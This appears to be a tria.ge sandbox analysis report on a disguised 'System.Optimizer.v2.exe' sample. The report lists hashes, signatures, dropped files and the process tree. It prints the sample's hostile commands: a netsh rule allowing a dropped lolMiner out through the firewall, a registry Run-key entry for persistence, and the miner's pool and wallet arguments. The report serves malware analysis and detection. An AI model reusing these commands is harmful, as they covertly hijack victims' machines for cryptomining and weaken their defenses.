Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
33s -
max time network
38s -
platform
windows11-21h2_x64 -
resource
win11-20240221-en -
resource tags
arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system -
submitted
23/02/2024, 19:07
Behavioral task
behavioral1
Sample
System.Optimizer.v2.exe
Resource
win10v2004-20240221-en
General
-
Target
System.Optimizer.v2.exe
-
Size
7.3MB
-
MD5
4799ecfa1c49e7717b7ac1ba1eef2f98
-
SHA1
99a7fa53bb524bf2438773f742c0e9371c30ac5d
-
SHA256
ccc378efd93655fa275f6689c7062f3ed7c807d7548fb38e25254d4967f49232
-
SHA512
37ad1e0d2ec00b81ed4e595ab566c8db26d105b6c057a5d0a0e5f9af232b6a8f7dd4c9e61ae26eab057d61522dc269490496c20d4cdb57478cfeb457aa59955b
-
SSDEEP
196608:9BZY3aF3loDfyGZ21X5Sp6GemDMPwuWwJnPGihnRE+:lY3aoDfD0pfaMPhVK+
Malware Config
Signatures
-
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1684 netsh.exe -
Executes dropped EXE 1 IoCs
pid Process 4612 lolMiner.exe -
Loads dropped DLL 15 IoCs
pid Process 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe 3248 System.Optimizer.v2.exe -
resource yara_rule behavioral2/files/0x000100000002a845-96.dat upx behavioral2/memory/4612-98-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp upx behavioral2/memory/4612-99-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp upx behavioral2/memory/4612-100-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp upx -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2020 wrote to memory of 3248 2020 System.Optimizer.v2.exe 78 PID 2020 wrote to memory of 3248 2020 System.Optimizer.v2.exe 78 PID 3248 wrote to memory of 1684 3248 System.Optimizer.v2.exe 79 PID 3248 wrote to memory of 1684 3248 System.Optimizer.v2.exe 79 PID 3248 wrote to memory of 584 3248 System.Optimizer.v2.exe 81 PID 3248 wrote to memory of 584 3248 System.Optimizer.v2.exe 81 PID 3248 wrote to memory of 4612 3248 System.Optimizer.v2.exe 82 PID 3248 wrote to memory of 4612 3248 System.Optimizer.v2.exe 82
Processes
-
C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="BlockProgram" dir=out program="C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe" profile=any action=allow3⤵
- Modifies Windows Firewall
PID:1684
-
-
C:\Windows\SYSTEM32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SystemOptimizer /t REG_SZ /d 'C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H0 '3⤵PID:584
-
-
C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe.\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H03⤵
- Executes dropped EXE
PID:4612
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
106KB
MD54585a96cc4eef6aafd5e27ea09147dc6
SHA1489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
-
Filesize
64KB
MD56ddced470268add42e478a6c68f33724
SHA1598725bf8d23a76ba148db155d2dfaa670fa2a75
SHA256dd7c6d62a581809ab069f23605a5db6d6902d19b97ae32658f2b6af11fe78591
SHA5129911033e808070fea5c621178bcdeb8102ee9b8cf57b3cab411fd6130b31e307376c7b797287c91f3c6d0282c279e6933549ff3f72de218c3e1f605443db1cd3
-
Filesize
82KB
MD5a62207fc33140de460444e191ae19b74
SHA19327d3d4f9d56f1846781bcb0a05719dea462d74
SHA256ebcac51449f323ae3ae961a33843029c34b6a82138ccd9214cf99f98dd2148c2
SHA51290f9db9ee225958cb3e872b79f2c70cb1fd2248ebaa8f3282afff9250285852156bf668f5cfec49a4591b416ce7ebaaac62d2d887152f5356512f2347e3762b7
-
Filesize
247KB
MD5692c751a1782cc4b54c203546f238b73
SHA1a103017afb7badaece8fee2721c9a9c924afd989
SHA256c70f05f6bc564fe400527b30c29461e9642fb973f66eec719d282d3d0b402f93
SHA5121b1ad0ca648bd50ce6e6af4be78ad818487aa336318b272417a2e955ead546c9e0864b515150cd48751a03ca8c62f9ec91306cda41baea52452e3fcc24d57d39
-
Filesize
63KB
MD5787b82d4466f393366657b8f1bc5f1a9
SHA1658639cddda55ac3bfc452db4ec9cf88851e606b
SHA256241322647ba9f94bdc3ae387413ffb57ae14c8cf88bd564a31fe193c6ca43e37
SHA512afcf66962958f38eec8b591aa30d380eb0e1b41028836058ff91b4d1472658de9fba3262f5c27ba688bd73da018e938f398e45911cd37584f623073067f575b6
-
Filesize
155KB
MD50c7ea68ca88c07ae6b0a725497067891
SHA1c2b61a3e230b30416bc283d1f3ea25678670eb74
SHA256f74aaf0aa08cf90eb1eb23a474ccb7cb706b1ede7f911daf7ae68480765bdf11
SHA512fd52f20496a12e6b20279646663d880b1354cffea10793506fe4560ed7da53e4efba900ae65c9996fbb3179c83844a9674051385e6e3c26fb2622917351846b9
-
Filesize
31KB
MD506248702a6cd9d2dd20c0b1c6b02174d
SHA13f14d8af944fe0d35d17701033ff1501049e856f
SHA256ac177cd84c12e03e3a68bca30290bc0b8f173eee518ef1fa6a9dce3a3e755a93
SHA5125b22bbff56a8b48655332ebd77387d307f5c0a526626f3654267a34bc4863d8afaf08ff3946606f3cf00b660530389c37bdfac91843808dbebc7373040fec4c1
-
Filesize
77KB
MD526dd19a1f5285712068b9e41808e8fa0
SHA190c9a112dd34d45256b4f2ed38c1cbbc9f24dba5
SHA256eaabf6b78840daeaf96b5bdbf06adf0e4e2994dfeee5c5e27fefd824dbda5220
SHA512173e1eda05d297d7da2193e8566201f05428437adcac80aecefe80f82d46295b15ce10990b5c080325dc59a432a587eef84a15ec688a62b82493ad501a1e4520
-
Filesize
157KB
MD5ab0e4fbffb6977d0196c7d50bc76cf2d
SHA1680e581c27d67cd1545c810dbb175c2a2a4ef714
SHA256680ad2de8a6cff927822c1d7dd22112a3e8a824e82a7958ee409a7b9ce45ec70
SHA5122bff84a8ec7a26dde8d1bb09792ead8636009c8ef3fa68300a75420197cd7b6c8eaaf8db6a5f97442723e5228afa62961f002948e0eeee8c957c6517547dffba
-
Filesize
384KB
MD5a24a61926117aff60e625c4b746d1e56
SHA1559c84b765dfd945a26c80ad5a810b462e811563
SHA256bdd01339242283b11fa52017ee2b03df1bbe9a664286cec2c2cece0045385db8
SHA512836862d82f64f521443c41ae83e1409dea3869fdc4be5ca73f006cd2c101873f342cfe3865aecc704773bf8b8f9d7955cad472ad852a84e185ccb10366ee6f14
-
Filesize
285KB
MD5d3e74c9d33719c8ab162baa4ae743b27
SHA1ee32f2ccd4bc56ca68441a02bf33e32dc6205c2b
SHA2567a347ca8fef6e29f82b6e4785355a6635c17fa755e0940f65f15aa8fc7bd7f92
SHA512e0fb35d6901a6debbf48a0655e2aa1040700eb5166e732ae2617e89ef5e6869e8ddd5c7875fa83f31d447d4abc3db14bffd29600c9af725d9b03f03363469b4c
-
Filesize
10KB
MD5723ec2e1404ae1047c3ef860b9840c29
SHA18fc869b92863fb6d2758019dd01edbef2a9a100a
SHA256790a11aa270523c2efa6021ce4f994c3c5a67e8eaaaf02074d5308420b68bd94
SHA5122e323ae5b816adde7aaa14398f1fdb3efe15a19df3735a604a7db6cadc22b753046eab242e0f1fbcd3310a8fbb59ff49865827d242baf21f44fd994c3ac9a878
-
Filesize
116KB
MD59ea8098d31adb0f9d928759bdca39819
SHA1e309c85c1c8e6ce049eea1f39bee654b9f98d7c5
SHA2563d9893aa79efd13d81fcd614e9ef5fb6aad90569beeded5112de5ed5ac3cf753
SHA51286af770f61c94dfbf074bcc4b11932bba2511caa83c223780112bda4ffb7986270dc2649d4d3ea78614dbce6f7468c8983a34966fc3f2de53055ac6b5059a707
-
Filesize
3.3MB
MD59d7a0c99256c50afd5b0560ba2548930
SHA176bd9f13597a46f5283aa35c30b53c21976d0824
SHA2569b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939
SHA512cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2
-
Filesize
2.8MB
MD5baf03d617b3a04134be98ef59a143539
SHA103895b6c57e829fded4203a5de80e401c19b89d6
SHA256898dca706e7dd4f0444b125241676e74dfaf63b512a97c2b61090125094c037b
SHA5122a85ebad5f18d4004ea8a8dde3e2e6d80bc96dd5ae55b225c934782480ac448a52b2b9b6cc14ed2b6574dcad30460be31e73d7529e05842451528e0ca116e6b5
-
Filesize
688KB
MD5bec0f86f9da765e2a02c9237259a7898
SHA13caa604c3fff88e71f489977e4293a488fb5671c
SHA256d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd
SHA512ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4
-
Filesize
1.4MB
MD54412eea553276b1b005baeab48f7b7f9
SHA15a453ced2de3963db38a417aa06742bcae7fb05b
SHA256178b08fcd6ffa88805179fe90d2cb6673da456f4183d1e7c88f820018645783f
SHA512fc874fd00cc5535f13490ae31731452c7307c9f559175924dd22c1f2cfd5d581cd804e4ff74c586194e086ef8128b9bd040b28c4429fb243b330268c4d5e35a3
-
Filesize
384KB
MD57503e66ce35353c1c7916977d9b7b989
SHA1cd6595aab708ee918844168f46df738889d572e3
SHA256a8b8a634da37bf09b2c079a0f0c1f7bcfb9225ec81697b7ee542e53b0621c74b
SHA512e0a62d04c338b846bc4e6709d57252b17e85122846834e58fb8ab5f727769b21c4e1fffd4b903d70d12f963b0527e05b7aab62a19f3bb793d5300de73979afff
-
Filesize
29KB
MD5756c95d4d9b7820b00a3099faf3f4f51
SHA1893954a45c75fb45fe8048a804990ca33f7c072d
SHA25613e4d9a734a453a3613e11b6a518430099ad7e3d874ea407d1f9625b7f60268a
SHA5120f54f0262cf8d71f00bf5666eb15541c6ecc5246cd298efd3b7dd39cdd29553a8242d204c42cfb28c537c3d61580153200373c34a94769f102b3baa288f6c398
-
Filesize
1.1MB
MD558f7988b50cba7b793884f580c7083e1
SHA1d52c06b19861f074e41d8b521938dee8b56c1f2e
SHA256e36d14cf49ca2af44fae8f278e883341167bc380099dac803276a11e57c9cfa1
SHA512397fa46b90582f8a8cd7df23b722204c38544717bf546837c45e138b39112f33a1850be790e248fca5b5ecd9ed7c91cd1af1864f72717d9805c486db0505fb9c
-
Filesize
8.8MB
MD538389ca20898924e51994fe0f23aa697
SHA19be2bfd31c9d6f69fae6a9f7b5121d0d0238b0d3
SHA25615d3f2a3623493f1745c75db71d4f1082f006591434b3e21ab8c7419b2ac7645
SHA512f341488a73aea907895bbcf58eca688f637e496df8969e0e4cf5a11daa6889ed3e6affbf10b835a84830def08b69e91b0d97c17eeaed6efeed2a6eb906006f43